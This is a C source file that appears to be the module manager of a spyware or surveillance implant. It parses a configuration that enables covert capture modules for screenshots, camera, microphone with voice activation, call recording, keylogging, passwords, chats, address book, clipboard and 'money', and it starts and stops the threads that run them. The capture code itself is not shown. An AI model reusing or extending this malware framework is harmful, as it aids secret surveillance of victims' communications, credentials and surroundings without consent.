#define _XOPEN_SOURCE

#pragma warning(disable :4101)

#include "compat.h"
#include "utils.h"
#include "modulemanager.h"

#include "..\Runtime\Runtime.h"
#include "modules_runtime_definitions.h"

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

module_t modulev[] = { MODULES };
static int modulec = sizeof(modulev) / sizeof(modulev[0]);

static mutex_t mutex;

void mm_init(PRUNTIME pRuntime)
{
	MUTEX_INIT(mutex);

	PVARIABLES_EVENTSACTIONENGINE pVariablesEventsActionsEngine = pRuntime->pModuleSpecificData[INDEX_EVENTS_ACTIONS_ENGINE]->lpVariables;

	pVariablesEventsActionsEngine->modulev = modulev;

	OUTPUTDEBUG("[MM] initialized\n");

	

	return;
}

void mm_parseconfig(PRUNTIME pRuntime, json_object *config)
{
	int i, n;
	json_object *modules, *module, *sm, *ssm;
	char *type, *v;
	double d;
	struct tm tm;

	MUTEX_LOCK(mutex);

	for (i = 0; i < modulec; i++) 
		if (modulev[i].param) 
			API_FREE(pRuntime, modulev[i].param);

	n = json_get_array(config, "modules", &modules);

	OUTPUTDEBUG("[MM] parsing %d modules\n", n);

	for (i = 0; i < n; i++) {
		module = fp_json_object_array_get_idx(modules, i);

		if (json_get_string(module, "module", &type)) {
			OUTPUTDEBUG("[MM] . module #%d: invalid\n", i);
			continue;
		}

		if (!API_STRCMP(type, "screenshot")) {
			MODULE_SCREENSHOT.param = API_ALLOC(pRuntime, sizeof(module_screenshot_t));
			if (json_get_boolean(module, "onlywindow", &MODULE_SCREENSHOT_P->window)) 
				MODULE_SCREENSHOT_P->window = 0;

			MODULE_SCREENSHOT_P->quality = (json_get_string(module, "quality", &v) ? 60 : (!API_STRCMP(v, "lo") ? 30 : (!API_STRCMP(v, "med") ? 60 : 90)));
			OUTPUTDEBUG("[MM] . module #%d: screenshot\n", i);
		}
		else if (!API_STRCMP(type, "device")) {
			OUTPUTDEBUG("[MM] . module #%d: device\n", i);
		}
		else if (!API_STRCMP(type, "application")) {
			OUTPUTDEBUG("[MM] . module #%d: application\n", i);
		}
		else if (!API_STRCMP(type, "position")) {
			OUTPUTDEBUG("[MM] . module #%d: position\n", i);
		}
		else if (!API_STRCMP(type, "camera")) {
			MODULE_CAMERA.param = API_ALLOC(pRuntime, sizeof(module_camera_t));
			MODULE_CAMERA_P->quality = (json_get_string(module, "quality", &v) ? 60 : (!API_STRCMP(v, "lo") ? 30 : (!API_STRCMP(v, "med") ? 60 : 90)));
			OUTPUTDEBUG("[MM] . module #%d: camera\n", i);
		}
		else if (!API_STRCMP(type, "mouse")) {
			MODULE_MOUSE.param = API_ALLOC(pRuntime, sizeof(module_mouse_t));
			
			if (json_get_int32(module, "width", ((int *)&MODULE_MOUSE_P->width))) 
				MODULE_MOUSE_P->width = 50;
			
			if (json_get_int32(module, "height", ((int *)&MODULE_MOUSE_P->height))) 
				MODULE_MOUSE_P->height = 50;

			OUTPUTDEBUG("[MM] . module #%d: mouse\n", i);
		}
		else if (!API_STRCMP(type, "password")) {
			OUTPUTDEBUG("[MM] . module #%d: password\n", i);
		}
		else if (!API_STRCMP(type, "url")) {
			OUTPUTDEBUG("[MM] . module #%d: url\n", i);
#if 0
		}
		else if (!API_STRCMP(name, "messages")) {
			MODULE_MESSAGES.param = API_ALLOC(pRuntime, sizeof(module_messages_t));
			sm = json_object_object_get(m, "mail");
			get_boolean(sm, "enabled", &MODULE_MESSAGES_P->enabled);
			ssm = json_object_object_get(sm, "filter");
			get_int(ssm, "maxsize", &MODULE_MESSAGES_P->maxsize);
			get_string(ssm, "datefrom", &v);
			strptime(v, "%Y-%m-%d %H:%M:%S", &tm);
			MODULE_MESSAGES_P->from = mktime(&tm);
			get_string(ssm, "dateto", &v);
			strptime(v, "%Y-%m-%d %H:%M:%S", &tm);
			MODULE_MESSAGES_P->to = mktime(&tm);
			OUTPUTDEBUG("[MM] . module #%d: messages\n", i);
#endif
		}
		else if (!API_STRCMP(type, "addressbook")) {
			OUTPUTDEBUG("[MM] . module #%d: addressbook\n", i);
		}
		else if (!API_STRCMP(type, "chat")) {
			OUTPUTDEBUG("[MM] . module #%d: chat\n", i);
		}
		else if (!API_STRCMP(type, "call")) {
			
			MODULE_CALL.param = API_ALLOC(pRuntime, sizeof(module_call_t));

			if (json_get_boolean(module, "enabled", &MODULE_CALL_P->record)) 
				MODULE_CALL_P->record = 1;
			
			if (json_get_int32(module, "compression", &MODULE_CALL_P->compression)) 
				MODULE_CALL_P->compression = 5;
			
			if (json_get_int32(module, "buffer", &MODULE_CALL_P->bufsize)) 
				MODULE_CALL_P->bufsize = 512000;

			OUTPUTDEBUG("[MM] . module #%d: call\n", i);
		}
		else if (!API_STRCMP(type, "keylog")) {
			OUTPUTDEBUG("[MM] . module #%d: keylog\n", i);
		}
		else if (!API_STRCMP(type, "mic")) {
			
			MODULE_MIC.param = API_ALLOC(pRuntime, sizeof(module_mic_t));

			MODULE_MIC_P->threshold = (json_get_double(module, "threshold", &d) ? 0.22 : (int)(d * 100));
			
			if (json_get_int32(module, "silence", &MODULE_MIC_P->silence)) 
				MODULE_MIC_P->silence = 5;

			if (json_get_boolean(module, "autosense", &MODULE_MIC_P->autosense)) 
				MODULE_MIC_P->autosense = 0;

			OUTPUTDEBUG("[MM] . module #%d: mic\n", i);
		}
		else if (!API_STRCMP(type, "money")) {
			OUTPUTDEBUG("[MM] . module #%d: money\n", i);
		}
		else if (!API_STRCMP(type, "clipboard")) {
			OUTPUTDEBUG("[MM] . module #%d: clipboard\n", i);
		}
		else {
			OUTPUTDEBUG("[MM] . module #%d: unknown (%s)\n", i, type);
		}
	}

	OUTPUTDEBUG("[MM] parsing completed\n");

	MUTEX_UNLOCK(mutex);

	return;
}

int module_register(int id, MAIN_FUNCTION fpMain, void(*module_flush)(void*))
{
	int ret = -1;

	do {
		if ((id < 0) || (id >= modulec)) break;

		modulev[id].fpMain = fpMain;
		modulev[id].flush = module_flush;

		ret = 0;
	} while (0);

	return ret;
}

void module_start(PRUNTIME pRuntime, int id)
{
	int i;

	MUTEX_LOCK(mutex);

	if ((id >= 0) && (id < modulec)) {
		if (((modulev[id].status == MODULE_STOPPED) || (modulev[id].status == MODULE_ONESHOT)) && modulev[id].fpMain) {

			if (modulev[id].status == MODULE_STOPPED) {
				if (PIPE_OPEN(modulev[id].pipe[0], modulev[id].pipe[1])) {
					modulev[id].pipe[0] = -1;
					modulev[id].pipe[1] = -1;
				}
			}

			if (!THREAD_CREATE(modulev[id].tid, modulev[id].fpMain, pRuntime)) {
				if (modulev[id].status == MODULE_ONESHOT) {
					THREAD_DETACH(modulev[id].tid);
				}
				else {
					modulev[id].status = MODULE_STARTED;
				}
			}
		}
	}

	MUTEX_UNLOCK(mutex);

	return;
}

void module_stop(PRUNTIME pRuntime, int id)
{
	int i, r;
	char c = 0x00;

	MUTEX_LOCK(mutex);

	for (i = 0; i < modulec; i++) {

		if ((id != MODULE_ALL_INDEX) && (id != i)) 
			continue;

		if ((modulev[i].status == MODULE_STOPPED) || (modulev[i].status == MODULE_ONESHOT)) continue;

		modulev[i].status = MODULE_STOPPING;
		
		if (modulev[i].pipe[1] != -1) 
			PIPE_WRITE(r, modulev[i].pipe[1], &c, sizeof(c));
	}

	for (i = 0; i < modulec; i++) {
		
		if ((id != MODULE_ALL_INDEX) && (id != i))
			continue;
		
		if ((modulev[i].status == MODULE_STOPPED) || (modulev[i].status == MODULE_ONESHOT)) continue;

		THREAD_JOIN(modulev[i].tid);
		modulev[i].status = MODULE_STOPPED;
	}

	MUTEX_UNLOCK(mutex);

	return;
}

void module_flush(PRUNTIME pRuntime, int id)
{
	int i;

	MUTEX_LOCK(mutex);

	for (i = 0; i < modulec; i++) 
		if ((id == MODULE_ALL_INDEX) || (id == i)) 
			if ((modulev[i].status == MODULE_STARTED) && modulev[i].flush) 
				modulev[i].flush(pRuntime);

	MUTEX_UNLOCK(mutex);

	return;
}
